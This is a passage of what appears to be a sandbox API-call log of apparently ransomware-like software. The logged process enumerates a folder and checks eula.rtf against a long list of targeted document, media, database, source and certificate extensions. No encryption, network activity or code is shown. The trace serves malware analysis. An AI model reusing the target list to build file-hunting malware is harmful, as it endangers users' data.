(HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0097.207] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26 [0097.207] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0097.208] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.208] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0097.208] lstrlenW (lpString="eula.rtf") returned 8 [0097.208] lstrlenW (lpString=".1cd") returned 4 [0097.208] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0097.209] lstrlenW (lpString=".3ds") returned 4 [0097.209] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0097.209] lstrlenW (lpString=".3fr") returned 4 [0097.209] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0097.209] lstrlenW (lpString=".3g2") returned 4 [0097.209] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0097.209] lstrlenW (lpString=".3gp") returned 4 [0097.209] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0097.209] lstrlenW (lpString=".7z") returned 3 [0097.209] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0097.209] lstrlenW (lpString=".accda") returned 6 [0097.209] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0097.209] lstrlenW (lpString=".accdb") returned 6 [0097.209] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0097.209] lstrlenW (lpString=".accdc") returned 6 [0097.209] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0097.209] lstrlenW (lpString=".accde") returned 6 [0097.209] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0097.209] lstrlenW (lpString=".accdt") returned 6 [0097.209] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0097.209] lstrlenW (lpString=".accdw") returned 6 [0097.209] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0097.209] lstrlenW (lpString=".adb") returned 4 [0097.209] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0097.209] lstrlenW (lpString=".adp") returned 4 [0097.209] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0097.209] lstrlenW (lpString=".ai") returned 3 [0097.209] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0097.209] lstrlenW (lpString=".ai3") returned 4 [0097.210] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".ai4") returned 4 [0097.210] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".ai5") returned 4 [0097.210] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".ai6") returned 4 [0097.210] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".ai7") returned 4 [0097.210] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".ai8") returned 4 [0097.210] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".anim") returned 5 [0097.210] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0097.210] lstrlenW (lpString=".arw") returned 4 [0097.210] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".as") returned 3 [0097.210] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0097.210] lstrlenW (lpString=".asa") returned 4 [0097.210] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".asc") returned 4 [0097.210] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".ascx") returned 5 [0097.210] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0097.210] lstrlenW (lpString=".asm") returned 4 [0097.210] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0097.210] lstrlenW (lpString=".asmx") returned 5 [0097.210] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0097.210] lstrlenW (lpString=".asp") returned 4 [0097.210] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".aspx") returned 5 [0097.211] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0097.211] lstrlenW (lpString=".asr") returned 4 [0097.211] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".asx") returned 4 [0097.211] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".avi") returned 4 [0097.211] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".avs") returned 4 [0097.211] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".backup") returned 7 [0097.211] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0097.211] lstrlenW (lpString=".bak") returned 4 [0097.211] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".bay") returned 4 [0097.211] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".bd") returned 3 [0097.211] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0097.211] lstrlenW (lpString=".bin") returned 4 [0097.211] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".bmp") returned 4 [0097.211] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".bz2") returned 4 [0097.211] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".c") returned 2 [0097.211] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0097.211] lstrlenW (lpString=".cdr") returned 4 [0097.211] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0097.211] lstrlenW (lpString=".cer") returned 4 [0097.212] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".cf") returned 3 [0097.212] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0097.212] lstrlenW (lpString=".cfc") returned 4 [0097.212] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".cfm") returned 4 [0097.212] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".cfml") returned 5 [0097.212] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0097.212] lstrlenW (lpString=".cfu") returned 4 [0097.212] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".chm") returned 4 [0097.212] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".cin") returned 4 [0097.212] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".class") returned 6 [0097.212] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0097.212] lstrlenW (lpString=".clx") returned 4 [0097.212] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".config") returned 7 [0097.212] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0097.212] lstrlenW (lpString=".cpp") returned 4 [0097.212] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".cr2") returned 4 [0097.212] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".crt") returned 4 [0097.212] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".crw") returned 4 [0097.212] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0097.212] lstrlenW (lpString=".cs") returned 3 [0097.213] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0097.213] lstrlenW (lpString=".css") returned 4 [0097.213] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".csv") returned 4 [0097.213] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".cub") returned 4 [0097.213] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dae") returned 4 [0097.213] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dat") returned 4 [0097.213] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".db") returned 3 [0097.213] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0097.213] lstrlenW (lpString=".dbf") returned 4 [0097.213] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dbx") returned 4 [0097.213] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dc3") returned 4 [0097.213] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dcm") returned 4 [0097.213] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dcr") returned 4 [0097.213] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".der") returned 4 [0097.213] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dib") returned 4 [0097.213] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0097.213] lstrlenW (lpString=".dic") returned 4 [0097.214] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".dif") returned 4 [0097.214] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".divx") returned 5 [0097.214] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0097.214] lstrlenW (lpString=".djvu") returned 5 [0097.214] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0097.214] lstrlenW (lpString=".dng") returned 4 [0097.214] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".doc") returned 4 [0097.214] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".docm") returned 5 [0097.214] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0097.214] lstrlenW (lpString=".docx") returned 5 [0097.214] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.214] lstrlenW (lpString=".dot") returned 4 [0097.214] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".dotm") returned 5 [0097.214] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0097.214] lstrlenW (lpString=".dotx") returned 5 [0097.214] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0097.214] lstrlenW (lpString=".dpx") returned 4 [0097.214] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".dqy") returned 4 [0097.214] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".dsn") returned 4 [0097.214] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0097.214] lstrlenW (lpString=".dt") returned 3 [0097.215] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0097.215] lstrlenW (lpString=".dtd") returned 4 [0097.215] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".dwg") returned 4 [0097.215] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".dwt") returned 4 [0097.215] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".dx") returned 3 [0097.215] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0097.215] lstrlenW (lpString=".dxf") returned 4 [0097.215] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".edml") returned 5 [0097.215] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0097.215] lstrlenW (lpString=".efd") returned 4 [0097.215] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".elf") returned 4 [0097.215] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".emf") returned 4 [0097.215] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".emz") returned 4 [0097.215] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".epf") returned 4 [0097.215] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".eps") returned 4 [0097.215] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0097.215] lstrlenW (lpString=".epsf") returned 5 [0097.215] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0097.215] lstrlenW (lpString=".epsp") returned 5 [0097.215] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0097.216] lstrlenW (lpString=".erf") returned 4 [0097.216] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".exr") returned 4 [0097.216] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".f4v") returned 4 [0097.216] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".fido") returned 5 [0097.216] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0097.216] lstrlenW (lpString=".flm") returned 4 [0097.216] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".flv") returned 4 [0097.216] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".frm") returned 4 [0097.216] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".fxg") returned 4 [0097.216] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".geo") returned 4 [0097.216] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".gif") returned 4 [0097.216] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".grs") returned 4 [0097.216] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".gz") returned 3 [0097.216] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0097.216] lstrlenW (lpString=".h") returned 2 [0097.216] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0097.216] lstrlenW (lpString=".hdr") returned 4 [0097.216] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0097.216] lstrlenW (lpString=".hpp") returned 4 [0097.217] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".hta") returned 4 [0097.217] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".htc") returned 4 [0097.217] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".htm") returned 4 [0097.217] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".html") returned 5 [0097.217] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0097.217] lstrlenW (lpString=".icb") returned 4 [0097.217] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".ics") returned 4 [0097.217] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".iff") returned 4 [0097.217] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".inc") returned 4 [0097.217] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".indd") returned 5 [0097.217] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0097.217] lstrlenW (lpString=".ini") returned 4 [0097.217] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".iqy") returned 4 [0097.217] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".j2c") returned 4 [0097.217] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".j2k") returned 4 [0097.217] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0097.217] lstrlenW (lpString=".java") returned 5 [0097.217] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0097.218] lstrlenW (lpString=".jp2") returned 4 [0097.218] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".jpc") returned 4 [0097.218] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".jpe") returned 4 [0097.218] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".jpeg") returned 5 [0097.218] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0097.218] lstrlenW (lpString=".jpf") returned 4 [0097.218] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".jpg") returned 4 [0097.218] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".jpx") returned 4 [0097.218] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".js") returned 3 [0097.218] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0097.218] lstrlenW (lpString=".jsf") returned 4 [0097.218] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".json") returned 5 [0097.218] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0097.218] lstrlenW (lpString=".jsp") returned 4 [0097.218] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".kdc") returned 4 [0097.218] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".kmz") returned 4 [0097.218] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".kwm") returned 4 [0097.218] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0097.218] lstrlenW (lpString=".lasso") returned 6 [0097.219] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0097.219] lstrlenW (lpString=".lbi") returned 4 [0097.219] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".lgf") returned 4 [0097.219] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".lgp") returned 4 [0097.219] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".log") returned 4 [0097.219] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".m1v") returned 4 [0097.219] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".m4a") returned 4 [0097.219] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".m4v") returned 4 [0097.219] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".max") returned 4 [0097.219] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".md") returned 3 [0097.219] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0097.219] lstrlenW (lpString=".mda") returned 4 [0097.219] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".mdb") returned 4 [0097.219] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".mde") returned 4 [0097.219] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".mdf") returned 4 [0097.219] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0097.219] lstrlenW (lpString=".mdw") returned 4 [0097.220] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0097.220] lstrlenW (lpString=".mef") returned 4 [0097.220] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0097.220] lstrlenW (lpString=".mft") returned 4 [0097.220] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0097.220] lstrlenW (lpString=".mfw") returned 4 [0097.220] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0097.379] lstrlenW (lpString=".mht") returned 4 [0097.379] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0097.379] lstrlenW (lpString=".mhtml") returned 6 [0097.379] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0097.379] lstrlenW (lpString=".mka") returned 4 [0097.379] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0097.379] lstrlenW (lpString=".mkidx") returned 6 [0097.379] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0097.379] lstrlenW (lpString=".mkv") returned 4 [0097.379] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0097.379] lstrlenW (lpString=".mos") returned 4 [0097.380] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".mov") returned 4 [0097.380] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".mp3") returned 4 [0097.380] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".mp4") returned 4 [0097.380] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".mpeg") returned 5 [0097.380] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0097.380] lstrlenW (lpString=".mpg") returned 4 [0097.380] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".mpv") returned 4 [0097.380] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".mrw") returned 4 [0097.380] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".msg") returned 4 [0097.380] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".mxl") returned 4 [0097.380] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".myd") returned 4 [0097.380] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".myi") returned 4 [0097.380] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".nef") returned 4 [0097.380] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".nrw") returned 4 [0097.380] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0097.380] lstrlenW (lpString=".obj") returned 4 [0097.380] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".odb") returned 4 [0097.381] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".odc") returned 4 [0097.381] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".odm") returned 4 [0097.381] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".odp") returned 4 [0097.381] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".ods") returned 4 [0097.381] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".oft") returned 4 [0097.381] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".one") returned 4 [0097.381] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".onepkg") returned 7 [0097.381] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0097.381] lstrlenW (lpString=".onetoc2") returned 8 [0097.381] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0097.381] lstrlenW (lpString=".opt") returned 4 [0097.381] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".oqy") returned 4 [0097.381] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".orf") returned 4 [0097.381] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".p12") returned 4 [0097.381] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".p7b") returned 4 [0097.381] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0097.381] lstrlenW (lpString=".p7c") returned 4 [0097.382] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pam") returned 4 [0097.382] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pbm") returned 4 [0097.382] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pct") returned 4 [0097.382] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pcx") returned 4 [0097.382] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pdd") returned 4 [0097.382] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pdf") returned 4 [0097.382] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pdp") returned 4 [0097.382] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pef") returned 4 [0097.382] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pem") returned 4 [0097.382] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pff") returned 4 [0097.382] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pfm") returned 4 [0097.382] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pfx") returned 4 [0097.382] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0097.382] lstrlenW (lpString=".pgm") returned 4 [0097.382] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0097.382] lstrlenW 